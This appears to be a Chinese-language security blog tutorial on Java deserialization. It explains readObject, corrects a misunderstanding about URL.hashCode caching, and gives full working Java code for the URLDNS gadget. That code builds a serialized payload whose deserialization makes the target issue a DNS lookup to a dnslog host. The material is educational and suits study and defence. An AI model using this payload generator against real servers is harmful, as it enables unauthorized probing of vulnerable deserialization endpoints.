Java 反序列化漏洞深度解析(一):从URLDNS到真正的DNS探测 文章目录一、什么是序列化与反序列化1.1 基本概念1.2 为什么需要序列化1.3 Java 中的实现1.4 Serializable 接口二、Java 序列化的魔法方法2.1 什么是魔法方法2.2 readObject() 的自动调用三、URLDNS经典的 DNS 探测技术四、常见的错误理解以及为什么错了4.1 错误的代码示例4.2 错误的执行链构造阶段4.3 错误的原因分析4.4 真相是什么五、正确的 URLDNS 实现5.1 完整代码5.2 核心原理5.3 编译运行5.4 运行结果六、总结6.1 核心要点6.2 下一篇预告附录术语表系列导读本文是 Java 反序列化漏洞系列文章的第一篇重点讲解序列化基础原理、URLDNS 的局限性以及如何在反序列化时真正触发 DNS 探测。第二篇将深入 RCE 漏洞利用与防御策略。仓库地址https://gitcode.com/lcreek/Security-DeserializationVuln一、什么是序列化与反序列化1.1 基本概念序列化Serialization将 Java 对象转换成字节流的过程。反序列化Deserialization将字节流还原成 Java 对象的过程。1.2 为什么需要序列化想象你要把一个快递寄给朋友序列化 把物品打包成包裹对象 → 字节流网络传输 快递运输字节流通过网络发送反序列化 朋友拆开包裹字节流 → 对象1.3 Java 中的实现// 序列化对象 → 文件ObjectobjnewHashMap();ObjectOutputStreamoosnewObjectOutputStream(newFileOutputStream(data.ser));oos.writeObject(obj);// 写入文件// 反序列化文件 → 对象ObjectInputStreamoisnewObjectInputStream(newFileInputStream(data.ser));Objectobjois.readObject();// 读取并还原对象1.4 Serializable 接口要让一个类可以被序列化必须实现Serializable接口publicclassUserimplementsSerializable{privateStringname;privateintage;}Serializable是一个标记接口里面没有任何方法。它只是告诉 JVM“这个类的对象可以被序列化”。二、Java 序列化的魔法方法2.1 什么是魔法方法Java 序列化机制有一些特殊的方法会在序列化/反序列化时自动调用无需任何人显式调用。方法触发时机危险等级readObject()反序列化对象时 高readResolve()反序列化完成后 高writeObject()序列化对象时 中重点这些方法不需要任何人显式调用JVM 会自动执行2.2 readObject() 的自动调用// 目标服务器代码ObjectInputStreamoisnewObjectInputStream(inputStream);Objectobjois.readObject();// ← 只需这一行JVM 内部流程1. ois.readObject() 读取序列化数据 2. 发现数据中包含 MyClass 对象 3. 自动调用 MyClass.readObject() 4. readObject() 中的代码执行关键如果攻击者能在readObject()中写入恶意代码就能在反序列化时自动执行三、URLDNS经典的 DNS 探测技术关键特点使用URL作为HashMap的 key反序列化时会触发 DNS 查询不需要第三方依赖四、常见的错误理解以及为什么错了在实现 URLDNS 时很多人会犯一个经典的错误让我们来分析一下4.1 错误的代码示例importjava.io.*;importjava.net.URL;importjava.util.HashMap;publicclassURLDns{publicstaticvoidmain(String[]args)throwsException{HashMapURL,IntegermapnewHashMap();URLurlnewURL(http://xxx.dnslog.cn);map.put(url,1);// ← DNS 在这里触发// 序列化ObjectOutputStreamoosnewObjectOutputStream(newFileOutputStream(dns.ser));oos.writeObject(map);// 反序列化ObjectInputStreamoisnewObjectInputStream(newFileInputStream(dns.ser));ois.readObject();// ← 这里不会触发 DNS}}4.2 错误的执行链构造阶段map.put(url, 1) ↓ HashMap.hash(key) // 计算 key 的哈希值 ↓ URL.hashCode() // URL 的 hashCode 方法 ↓ URLStreamHandler.hashCode() ↓ getHostAddress() // 获取主机地址 ↓ InetAddress.getByName(xxx.dnslog.cn) // ← DNS 查询4.3 错误的原因分析这个问题曾经被错误地解释为问题DNS 查询在构造 Payload 时就触发了而不是在目标服务器反序列化时。原因URL.hashCode 是 transient 字段。// URL.java 源码错误理解publicclassURLimplementsSerializable{privatetransientinthashCode-1;// ← 误以为是 transient}错误的执行流程 攻击者机器 [1] 创建 URL(http://xxx.dnslog.cn) [2] map.put(url, 1) → hash(url) → url.hashCode() → DNS 查询触发构造阶段 [3] 序列化 map → 误以为 url.hashCode 是 transient不会被保存 目标服务器 [4] 反序列化 map → 误以为 url.hashCode 0transient int 的默认值 → url.hashCode() 检查if (hashCode ! -1) return hashCode; → 0 ! -1直接返回 0 → 不会触发 DNS4.4 真相是什么实际上上面的解释有两个关键错误错误 1hashCode字段本身不是transient错误 2反序列化后hashCode不会变成0而是变成put()时的缓存值如-1940799612让我们用真实的测试来验证测试结果map.put(url, 1)→ DNS 在构造阶段触发反序列化时url.hashCode 缓存值非-1→不会触发 DNS真正的原因hashCode不是 transient会被正常保存和恢复put()后url.hashCode已经是缓存值非-1序列化时保存这个缓存值反序列化后也恢复这个缓存值反序列化时调用url.hashCode()→ 直接返回缓存值 →不会触发 DNS这就是为什么我们需要自定义SilentHandler→ 阻止构造阶段的 DNS反射设置hashCode -1→ 确保序列化时保存-1五、正确的 URLDNS 实现5.1 完整代码核心文件[DnsLogExploit.java]importjava.io.*;importjava.lang.reflect.Field;importjava.net.*;importjava.util.HashMap;importjava.util.Map;publicclassDnsLogExploit{publicstaticvoidmain(String[]args)throwsException{StringdnsHosthttp://xxx.dnslog.cn;StringpayloadFilednslog_payload.ser;// 步骤 1构造并序列化不会触发 DNSMapURL,StringpayloadcreatePayload(dnsHost);serializePayload(payload,payloadFile);// 步骤 2反序列化触发 DNSdeserializePayload(payloadFile);}privatestaticMapURL,StringcreatePayload(StringdnsHost)throwsException{URLStreamHandlerhandlernewSilentHandler();URLurlnewURL(null,dnsHost,handler);MapURL,StringmapnewHashMap();map.put(url,probe);// 反射设置 hashCode 为 -1确保反序列化时重新计算触发 DNSFieldfieldURL.class.getDeclaredField(hashCode);field.setAccessible(true);field.set(url,-1);returnmap;}privatestaticvoidserializePayload(Objectobj,Stringfilename)throwsIOException{try(ObjectOutputStreamoosnewObjectOutputStream(newFileOutputStream(filename))){oos.writeObject(obj);}}privatestaticvoiddeserializePayload(Stringfilename)throwsIOException,ClassNotFoundException{try(ObjectInputStreamoisnewObjectInputStream(newFileInputStream(filename))){ois.readObject();// ← 触发 DNS 查询}}}// 静默 URLStreamHandler - 阻止构造 Payload 时触发 DNSclassSilentHandlerextendsURLStreamHandler{OverrideprotectedURLConnectionopenConnection(URLu){returnnull;}OverrideprotectedsynchronizedInetAddressgetHostAddress(URLu){returnnull;}}5.2 核心原理 构造 Payload不会触发 DNS [1] new URL(null, dnsHost, handler) → 使用自定义 SilentHandler [2] map.put(url, probe) → hash(url) → url.hashCode() → SilentHandler.getHostAddress() 返回 null → DNS 不触发 → url.hashCode -1940799612缓存值 [3] 反射设置 url.hashCode -1 关键 → 确保序列化时保存的值是 -1 [4] 序列化 map → URL.writeObject 调用 defaultWriteObject()正常保存 hashCode -1因为 hashCode 不是 transient → handler 是 transient不会被保存 → hostAddress 是 transient不会被保存 反序列化触发 DNS [5] ois.readObject() → HashMap.readObject() 重建 HashMap → URL.readObject 调用 defaultReadObject()正常恢复 hashCode -1 → handler nulltransient 恢复为对象引用默认值 → hostAddress nulltransient 恢复为对象引用默认值 → 重新计算 key 的 hashCode → url.hashCode -1需要重新计算 → 使用默认 URLStreamHandler → 默认 getHostAddress() 调用 InetAddress.getByName() → DNS 查询触发为什么必须设置 hashCode -1URL 类的writeObject/readObject只是调用defaultWriteObject()/defaultReadObject()hashCode字段不是transient会被正常保存和恢复如果不设置回-1反序列化后hashCode仍然是缓存值如-1940799612调用url.hashCode()会直接返回缓存值不会触发 DNS完整调用链反序列化时ObjectInputStream.readObject() ↓ HashMap.readObject() ↓ HashMap.putVal() ↓ HashMap.hash(key) // 计算 key 的哈希值 ↓ URL.hashCode() // URL 的 hashCode 方法 ↓ URLStreamHandler.hashCode(URL) ↓ URLStreamHandler.getHostAddress(URL) // 获取主机地址 ↓ InetAddress.getByName(xxx.dnslog.cn) // ← DNS 查询5.3 编译运行# 进入项目目录cd d:\Programs\Security\DeserializationVuln# 编译.\build.ps1# 运行 DNS 探测需要 --add-opens 允许反射访问java--add-opensjava.base/java.netALL-UNNAMED-cpout DnsLogExploit5.4 运行结果 DNSLog 反序列化利用链 [1] 构造并序列化 Payload... ✓ 序列化完成 [2] 反序列化触发 DNS 查询... ✓ DNS 查询触发 演示完成 关键观察DNS 查询只在反序列化时触发六、总结6.1 核心要点魔法方法readObject()等会在反序列化时自动调用正确的 URLDNS 实现使用自定义SilentHandler重写getHostAddress()阻止构造时 DNS反射设置hashCode为-1确保反序列化时重新计算handler是transient字段反序列化时为null使用默认 handler 触发 DNSJVM 模块限制需要--add-opens java.base/java.netALL-UNNAMED允许反射访问6.2 下一篇预告在第二篇文章中我们将从 DNS 探测升级到RCE远程代码执行分析真实的反序列化漏洞案例WebLogic、Jenkins、Shiro深入 Commons Collections Gadget Chain学习如何防御反序列化漏洞附录术语表术语解释序列化将对象转换成字节流反序列化将字节流还原成对象Payload攻击者构造的恶意数据Gadget可被利用的类或方法Gadget Chain多个 Gadget 组合成的利用链RCERemote Code Execution远程代码执行transientJava 关键字标记不被序列化的字段